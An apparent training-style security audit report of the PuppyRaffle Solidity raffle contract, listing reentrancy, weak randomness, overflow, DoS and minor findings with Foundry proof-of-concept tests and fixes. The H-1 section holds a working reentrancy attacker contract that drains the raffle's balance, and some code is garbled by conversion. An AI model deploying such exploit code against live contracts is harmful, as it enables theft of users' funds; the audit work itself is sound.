PuppyRaffle Report

Version 1.0

github.com/Zyrrow

November 2, 2024

Puppy Raffle Report

Zyrrow

November 02 2024

Prepared by: [Zyrrow] Lead Auditors:

- Zyrrow

Table of Contents

    - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    - [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low

    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle

- Informational

    - [I-1]: Solidity pragma should be specific, not wide
    - [I-2] Using an outdated version of Solidity is not recommended
    - [I-3] Missing checks for `address(0)` when assigning values to address state variables
    - [I-4] `PuppyRaffle::SelectWinner` does not follow CEI, which is not a best practice
    - [I-5] Use of "magic" numbers is discouraged
    - [I-6] Event is missing `indexed` fields
    - [I-7] isActivePlayer is never used and should be removed

- Gas

    - [G-1] Unchanged state variables should be declared constant or immutable
    - [G-2] Storage variables is a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:

    - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Zyrrow makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

./src/ #– PuppyRaffle.sol

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

Actually 7 vulnerabilities found and 9 informationnal/gas issue.

High

[H-1] Reentrancy in PuppyRaffle::refund Function (Root Cause + Impact)

Description

The `refund` function allows users to get refunds without adequately protecting the call execution, making it vulnerable to a reentrancy attack. An attacker can exploit this vulnerability by reentering the function before the contract's state is updated, allowing them to drain multiple refunds for a single entranceFee.

Impact:

This vulnerability could enable attackers to empty the contract's funds through repeated refund calls, potentially leading to financial loss for the contract and its participants.

Proof of Concept:

Proof of Code

```
function test_reentrancy() public {
        address;
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
        uint256 startingAttackBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance", startingAttackBalance);
        console.log("starting contract balance", startingContractBalance);
        console.log("ending attacker contract balance", address(attackerContract).balance);
        console.log("ending contract balance", address(puppyRaffle).balance);
}

contract ReeantrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable{
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);


        }

        function _stealMoney() internal {
            if(address(puppyRaffle).balance >=  entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }

        }
        fallback() external payable{
            _stealMoney();
        }
        receive() external payable{
            _stealMoney();
        }
    }
```

Recommended Mitigation:

Use the Checks-Effects-Interactions pattern by first performing necessary checks, updating the state, and then sending funds last. Additionally, consider implementing OpenZeppelin's ReentrancyGuard to prevent reentrancy attacks.

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description:

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results. **Note:** This additionally means users could front-run this function and call `refund` if they see they are not the winner. **Proof of Concept:**

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

~~~
```js
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```
~~~

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract **Proof of Concept:**

Code

```
function testTotalFeesOverflow() public playersEntered {
        // Finish a raffle of 4 ppl to get fees
        vm.warp(block.timestamp + duration + 1 );
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log(startingTotalFees); // 800000000000000000

        // Then have 89 players enter a new raffle

        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for( uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // we end the raffle
        vm.warp(block.timestamp + duration + 1 );
        vm.roll(block.number + 1);

        //And here is the issue
        // we will got less fee while we finished a second raffle

        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // we also can't withdraw because of the require check

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
```

```
            active!");
        puppyRaffle.withdrawFees();

    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. ‘diff

    - pragma solidity ˆ0.7.6;
    - pragma solidity ˆ0.8.18; `Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's`SafeMath‘ to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees` ‘diff

    - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ‘ We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Loop on `PuppyRaffle::EnterRaffle` Function to check for duplicates causes exponential gas augmentation for futures entrances (DoS potentially) (Root Cause + Impact)

Description: On `PuppyRaffle::EnterRaffle` function loops through the `players` array to check for duplicates .However, the longer `PuppyRaffle::players` array is , the more checks a new player have to make, this will make a huge augmentation of gas over time . Technically there would be a big advantage to enter the raffle as earlier as possible.

```
for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas cost for raffle will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, however it will be very expensive for the attacker. **Proof of Concept:** If we have 2 set of 100 player enter the gas cost will be as such: -1st 100 player: ~ 6,252,048 -2nd 100 player: ~ 18,068,138 this is more than 3x than expensive for the second 100 players.

place the following test into `PuppyRaffleTest.t.sol`.

Proof of Code

```
function test_dos() public {
   vm.txGasPrice(1);
   uint256 playerNums = 100;
    address[] memory players = new address[](playerNums);
       for(uint256 i = 0; i < playerNums; i++)  {
            players[i] = address(i);
            }
             uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = (gasStart-gasEnd) *tx.gasprice;
    console.log("gas for the 100 first" , gasUsedFirst);

    // gas 6,252,048,

    // now for the second 100 player
    address[] memory playersTwo = new address[](playerNums);
       for(uint256 i = 0; i < playerNums; i++)  {
            playersTwo[i] = address(i + playerNums);
            }
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        playersTwo);
    uint256 gasEndSecond = gasleft();
    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
    console.log("gas for the second 100 " , gasUsedSecond);
    assert(gasUsedFirst < gasUsedSecond);

    // gas 18,068,138

}
```

Recommended Mitigation: There a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so duplicate check

doesn't prevent the same person from entering multiple times, only the same wallet.

2. Consider using a mapping to check for duplicates. This would allow constant time lookup of wheter a user has already entered.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
         }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
```

```diff
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

~~~
```js
function getActivePlayerIndex(address player) external view returns (
    uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```
~~~

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 175

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::SelectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
 \_safeMint(winner, tokenId);

* (bool success,) = winner.call{value: prizePool}("");
* require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
        / POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        POOL_PRECISION;
    ```
```

### [I-6] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

### [I-7] isActivePlayer is never used and should be removed

The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```
```

## Gas

### [G-1] Unchanged state variables should be declared constant or immutable

Reading form storage is much more expensive than reading from a constant or immutable variable.

Instances:
```

-`PuppyRaffle::raffleDuration` should be `immutable` -`PuppyRaffle::commonImageUri` shoud be `Constant` -`PuppyRaffle::rareImageUri` shoud be `Constant` -`PuppyRaffle::legendaryImageUri` shoud be `Constant`

[G-2] Storage variables is a loop should be cached

Every time you call ‘`Players.length` you read from storage , as opposed toi memory which is more gas efficient

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
       require(players[i] != players[j], "PuppyRaffle: Duplicate player"
          );
}
}
```